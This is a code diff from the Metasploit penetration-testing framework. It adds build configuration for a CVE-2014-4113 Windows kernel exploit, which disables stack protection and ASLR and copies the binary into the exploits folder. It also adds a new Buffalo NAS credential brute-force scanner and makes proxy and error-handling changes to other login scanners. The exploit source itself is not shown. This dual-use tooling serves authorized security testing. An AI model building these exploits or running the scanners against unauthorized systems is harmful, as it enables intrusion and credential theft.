+      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
+      <BufferSecurityCheck>false</BufferSecurityCheck>
+      <FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
+      <TreatWarningAsError>true</TreatWarningAsError>
+    </ClCompile>
+    <Link>
+      <AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
+      <AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
+      <IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
+      <IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
+      <DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
+      <GenerateDebugInformation>false</GenerateDebugInformation>
+      <GenerateMapFile>true</GenerateMapFile>
+      <MapFileName>$(OutDir)\cve-2014-4113.map</MapFileName>
+      <SubSystem>Windows</SubSystem>
+      <OptimizeReferences>
+      </OptimizeReferences>
+      <EnableCOMDATFolding>
+      </EnableCOMDATFolding>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <DataExecutionPrevention>
+      </DataExecutionPrevention>
+      <ImportLibrary>$(OutDir)\cve-2014-4113.lib</ImportLibrary>
+      <Profile>false</Profile>
+      <ModuleDefinitionFile>
+      </ModuleDefinitionFile>
+      <AdditionalOptions>/ignore:4070</AdditionalOptions>
+    </Link>
+    <PostBuildEvent>
+      <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
+IF EXIST "..\..\..\..\..\data\exploits\CVE-2014-4113\" GOTO COPY
+    mkdir "..\..\..\..\..\data\exploits\CVE-2014-4113\"
+:COPY
+copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2014-4113\"</Command>
+    </PostBuildEvent>
+  </ItemDefinitionGroup>
+  <ItemGroup>
+    <ClCompile Include="cve-2014-4113.c" />
+  </ItemGroup>
+  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
+  <ImportGroup Label="ExtensionTargets">
+    <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
+  </ImportGroup>
+</Project>

external/source/exploits/cve-2014-4113/make.msbuild

@@ -0,0 +1,18 @@
+<?xml version="1.0" standalone="yes"?>
+<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <SolutionPath>.\cve-2014-4113.sln</SolutionPath>
+  </PropertyGroup>
+
+  <Target Name="all" DependsOnTargets="x86;x64" />
+
+  <Target Name="x86">
+    <Message Text="Building CVE-2014-4113 track_popup_menu x86 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
+  </Target>
+
+  <Target Name="x64">
+    <Message Text="Building CVE-2014-4113 track_popup_menu x64 Release version" />
+    <MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
+  </Target>
+</Project>

external/source/exploits/make.bat

@@ -47,6 +47,13 @@ IF "%ERRORLEVEL%"=="0" (
   POPD
 )
 
+IF "%ERRORLEVEL%"=="0" (
+  ECHO "Building CVE-2014-4113 (track_popup_menu)"
+  PUSHD CVE-2014-4113
+  msbuild.exe make.msbuild /target:%PLAT%
+  POPD
+)
+
 IF "%ERRORLEVEL%"=="0" (
   ECHO "Building CVE-2013-1300 (schlamperei)"
   PUSHD CVE-2013-1300
@@ -60,8 +67,8 @@ IF "%ERRORLEVEL%"=="0" (
   msbuild.exe make.msbuild /target:%PLAT%
   POPD
 
-)
-
+)
+
 IF "%ERRORLEVEL%"=="0" (
   ECHO "Building bypassuac (in-memory)"
   PUSHD bypassuac_injection
@@ -69,8 +76,8 @@ IF "%ERRORLEVEL%"=="0" (
   POPD
 )
 
-)
-
+)
+
 IF "%ERRORLEVEL%"=="0" (
   ECHO "Building IE11 Sandbox bypasses"
   PUSHD IE11SandboxEscapes

features/commands/help.feature

@@ -1,9 +1,9 @@
 Feature: Help command
-  
+
   Background:
     Given I run `msfconsole` interactively
     And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
-    
+
   Scenario: The 'help' command's output
     When I type "help"
     And I type "exit"
@@ -75,4 +75,4 @@ Feature: Help command
           vulns             List all vulnerabilities in the database
           workspace         Switch between database workspaces
       """
-  
+

features/modules/exploit/smb/ms08_067_netapi.feature

@@ -7,7 +7,7 @@ Feature: MS08-067 netapi
     And a mocked home directory
     Given I run `msfconsole` interactively
     And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
-    
+
   Scenario: The MS08-067 Module should have the following options
     When I type "use exploit/windows/smb/ms08_067_netapi"
     And I type "show options"
@@ -28,7 +28,7 @@ Feature: MS08-067 netapi
          Id  Name
          --  ----
          0   Automatic Targeting
-      
+
       """
 
   Scenario: The MS08-067 Module should have the following advanced options
@@ -40,11 +40,11 @@ Feature: MS08-067 netapi
       Module advanced options:
 
          Name           : CHOST
-         Current Setting: 
+         Current Setting:
          Description    : The local client address
 
          Name           : CPORT
-         Current Setting: 
+         Current Setting:
          Description    : The local client port
 
          Name           : ConnectTimeout
@@ -52,7 +52,7 @@ Feature: MS08-067 netapi
          Description    : Maximum number of seconds to establish a TCP connection
 
          Name           : ContextInformationFile
-         Current Setting: 
+         Current Setting:
          Description    : The information file that contains context information
 
          Name           : DCERPC::ReadTimeout
@@ -69,41 +69,41 @@ Feature: MS08-067 netapi
 
          Name           : NTLM::SendLM
          Current Setting: true
-         Description    : Always send the LANMAN response (except when NTLMv2_session is 
+         Description    : Always send the LANMAN response (except when NTLMv2_session is
             specified)
 
          Name           : NTLM::SendNTLM
          Current Setting: true
-         Description    : Activate the 'Negotiate NTLM key' flag, indicating the use of 
+         Description    : Activate the 'Negotiate NTLM key' flag, indicating the use of
             NTLM responses
 
          Name           : NTLM::SendSPN
          Current Setting: true
-         Description    : Send an avp of type SPN in the ntlmv2 client Blob, this allow 
+         Description    : Send an avp of type SPN in the ntlmv2 client Blob, this allow
             authentification on windows Seven/2008r2 when SPN is required
 
          Name           : NTLM::UseLMKey
          Current Setting: false
-         Description    : Activate the 'Negotiate Lan Manager Key' flag, using the LM key 
+         Description    : Activate the 'Negotiate Lan Manager Key' flag, using the LM key
             when the LM response is sent
 
          Name           : NTLM::UseNTLM2_session
          Current Setting: true
-         Description    : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a 
+         Description    : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a
             NTLMv2_session
 
          Name           : NTLM::UseNTLMv2
          Current Setting: true
-         Description    : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key 
+         Description    : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key
             is true
 
          Name           : Proxies
-         Current Setting: 
+         Current Setting:
          Description    : Use a proxy chain
 
          Name           : SMB::ChunkSize
          Current Setting: 500
-         Description    : The chunk size for SMB segments, bigger values will increase 
+         Description    : The chunk size for SMB segments, bigger values will increase
             speed but break NT 4.0 and SMB signing
 
          Name           : SMB::Native_LM
@@ -131,11 +131,11 @@ Feature: MS08-067 netapi
          Description    : The NetBIOS hostname (required for port 139 connections)
 
          Name           : SMBPass
-         Current Setting: 
+         Current Setting:
          Description    : The password for the specified username
 
          Name           : SMBUser
-         Current Setting: 
+         Current Setting:
          Description    : The username to authenticate as
 
          Name           : SSL
@@ -143,17 +143,17 @@ Feature: MS08-067 netapi
          Description    : Negotiate SSL for outgoing connections
 
          Name           : SSLCipher
-         Current Setting: 
+         Current Setting:
          Description    : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
 
          Name           : SSLVerifyMode
          Current Setting: PEER
-         Description    : SSL verification method (accepted: CLIENT_ONCE, 
+         Description    : SSL verification method (accepted: CLIENT_ONCE,
             FAIL_IF_NO_PEER_CERT, NONE, PEER)
 
          Name           : SSLVersion
          Current Setting: SSL3
-         Description    : Specify the version of SSL that should be used (accepted: SSL2, 
+         Description    : Specify the version of SSL that should be used (accepted: SSL2,
             SSL3, TLS1)
 
          Name           : VERBOSE
@@ -161,7 +161,7 @@ Feature: MS08-067 netapi
          Description    : Enable detailed status messages
 
          Name           : WORKSPACE
-         Current Setting: 
+         Current Setting:
          Description    : Specify the workspace for this module
 
          Name           : WfsDelay

features/msfconsole/database_yml.feature

@@ -157,11 +157,11 @@ Feature: `msfconsole` `database.yml`
     And the output should not contain "user_metasploit_framework_test"
     And the output should not contain "project_metasploit_framework_test"
     And the output should contain "[*] postgresql selected, no connection"
-    
+
   Scenario: Starting `msfconsole` with a valid database.yml
     Given I run `msfconsole` interactively
     And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"
     When I type "db_status"
     And I type "exit"
     Then the output should contain "[*] postgresql connected to metasploit_framework_test"
-  
+

lib/metasploit/framework/command/console.rb

@@ -7,11 +7,26 @@ require 'metasploit/framework/command/base'
 
 # Based on pattern used for lib/rails/commands in the railties gem.
 class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::Base
+
+  def spinner
+    return if $msf_spinner_thread
+    $msf_spinner_thread = Thread.new do
+      $stderr.print "[*] Starting the Metasploit Framework console..."
+      loop do
+        %q{/-\|}.each_char do |c|
+          $stderr.print c
+          $stderr.print "\b"
+        end
+      end
+    end
+  end
+
   def start
     case parsed_options.options.subcommand
     when :version
       $stderr.puts "Framework Version: #{Metasploit::Framework::VERSION}"
     else
+      spinner unless parsed_options.options.console.quiet
       driver.run
     end
   end

lib/metasploit/framework/common_engine.rb

@@ -4,6 +4,14 @@
 
 require 'fileutils'
 
+#
+# Metasploit gem engines
+#
+
+require 'metasploit/model/engine'
+require 'metasploit/concern/engine'
+Metasploit::Framework::Require.optionally_require_metasploit_db_gem_engines
+
 # `Rails::Engine` behavior common to both {Metasploit::Framework::Application} and {Metasploit::Framework::Engine}.
 module Metasploit::Framework::CommonEngine
   extend ActiveSupport::Concern
@@ -73,4 +81,4 @@ module Metasploit::Framework::CommonEngine
       end
     end
   end
-end
+end

lib/metasploit/framework/ftp/client.rb

@@ -4,6 +4,7 @@ module Metasploit
   module Framework
     module Ftp
       module Client
+        extend ActiveSupport::Concern
         include Metasploit::Framework::Tcp::Client
 
         #

lib/metasploit/framework/login_scanner/axis2.rb

@@ -17,7 +17,7 @@ module Metasploit
         # (see Base#attempt_login)
         def attempt_login(credential)
           http_client = Rex::Proto::Http::Client.new(
-            host, port, {}, ssl, ssl_version
+            host, port, {}, ssl, ssl_version, proxies
           )
 
           http_client = config_client(http_client)
@@ -49,8 +49,8 @@ module Metasploit
             else
               result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response)
             end
-          rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
-            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+          rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
+            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
           end
 
           Result.new(result_opts)

lib/metasploit/framework/login_scanner/base.rb

@@ -88,6 +88,7 @@ module Metasploit
 
           def each_credential
             cred_details.each do |raw_cred|
+
               # This could be a Credential object, or a Credential Core, or an Attempt object
               # so make sure that whatever it is, we end up with a Credential.
               credential = raw_cred.to_credential
@@ -101,6 +102,11 @@ module Metasploit
                 credential.realm_key = self.class::REALM_KEY
                 yield credential
               elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present?
+                # XXX: This is messing up the display for mssql when not using
+                # Windows authentication, e.g.:
+                #   [+] 10.0.0.53:1433 - LOGIN SUCCESSFUL: WORKSTATION\sa:msfadmin
+                # Realm gets ignored in that case, so it still functions, it
+                # just gives the user bogus info
                 credential.realm_key = self.class::REALM_KEY
                 credential.realm     = self.class::DEFAULT_REALM
                 yield credential
@@ -144,8 +150,10 @@ module Metasploit
             successful_users = Set.new
 
             each_credential do |credential|
-              # For Pro bruteforce Reuse and Guess we need to note that we skipped an attempt.
+              # Skip users for whom we've have already found a password
               if successful_users.include?(credential.public)
+                # For Pro bruteforce Reuse and Guess we need to note that we
+                # skipped an attempt.
                 if credential.parent.respond_to?(:skipped)
                   credential.parent.skipped = true
                   credential.parent.save!

lib/metasploit/framework/login_scanner/buffalo.rb

@@ -0,0 +1,65 @@
+require 'metasploit/framework/login_scanner/http'
+require 'json'
+
+module Metasploit
+  module Framework
+    module LoginScanner
+
+      # Buffalo Linkstation NAS login scanner
+      class Buffalo < HTTP
+
+        # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP
+        CAN_GET_SESSION = true
+        DEFAULT_PORT    = 80
+        PRIVATE_TYPES   = [ :password ]
+
+        # (see Base#set_sane_defaults)
+        def set_sane_defaults
+          self.uri = "/dynamic.pl" if self.uri.nil?
+          self.method = "POST" if self.method.nil?
+
+          super
+        end
+
+        def attempt_login(credential)
+          result_opts = {
+              credential: credential,
+              host: host,
+              port: port,
+              protocol: 'tcp'
+          }
+          if ssl
+            result_opts[:service_name] = 'https'
+          else
+            result_opts[:service_name] = 'http'
+          end
+          begin
+            cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
+            cli.connect
+            req = cli.request_cgi({
+              'method'=>'POST',
+              'uri'=>'/dynamic.pl',
+              'vars_post'=> {
+                'bufaction'=>'verifyLogin',
+                'user' => credential.public,
+                'password'=>credential.private
+                }
+            })
+            res = cli.send_recv(req)
+            body = JSON.parse(res.body)
+            if res && body.has_key?('success') && body['success']
+              result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.body)
+            else
+              result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)
+            end
+          rescue ::JSON::ParserError
+            result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.body)
+          rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
+            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+          end
+          Result.new(result_opts)
+        end
+      end
+    end
+  end
+end

lib/metasploit/framework/login_scanner/db2.rb

@@ -39,10 +39,10 @@ module Metasploit
                 result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
               end
             end
-          rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::Proto::DRDA::RespError,::Timeout::Error  => e
+          rescue ::Rex::ConnectionError, ::Rex::Proto::DRDA::RespError, ::Timeout::Error => e
             result_options.merge!({
               status:  Metasploit::Model::Login::Status::UNABLE_TO_CONNECT,
-              proof: e.message
+              proof: e,
             })
           end
 

lib/metasploit/framework/login_scanner/glassfish.rb

@@ -61,7 +61,7 @@ module Metasploit
         # @param (see Rex::Proto::Http::Resquest#request_raw)
         # @return [Rex::Proto::Http::Response] The HTTP response
         def send_request(opts)
-          cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version)
+          cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies)
           cli.connect
           req = cli.request_raw(opts)
           res = cli.send_recv(req)
@@ -182,8 +182,8 @@ module Metasploit
               status = try_glassfish_3(credential)
               result_opts.merge!(status)
             end
-          rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error
-            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+          rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
+            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
           end
 
           Result.new(result_opts)

lib/metasploit/framework/login_scanner/http.rb

@@ -47,7 +47,7 @@ module Metasploit
         # (see Base#check_setup)
         def check_setup
           http_client = Rex::Proto::Http::Client.new(
-            host, port, {}, ssl, ssl_version
+            host, port, {}, ssl, ssl_version, proxies
           )
           request = http_client.request_cgi(
             'uri' => uri,
@@ -96,7 +96,7 @@ module Metasploit
 
           http_client = Rex::Proto::Http::Client.new(
             host, port, {}, ssl, ssl_version,
-            nil, credential.public, credential.private
+            proxies, credential.public, credential.private
           )
 
           http_client = config_client(http_client)
@@ -116,8 +116,8 @@ module Metasploit
             if response && response.code == 200
               result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers)
             end
-          rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
-            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT)
+          rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error => e
+            result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
           ensure
             http_client.close
           end
@@ -139,8 +139,6 @@ module Metasploit
         # like timeouts and TCP evasion options
         def set_sane_defaults
           self.connection_timeout ||= 20
-          self.max_send_size = 0 if self.max_send_size.nil?
-          self.send_delay = 0 if self.send_delay.nil?
           self.uri = '/' if self.uri.blank?
           self.method = 'GET' if self.method.blank?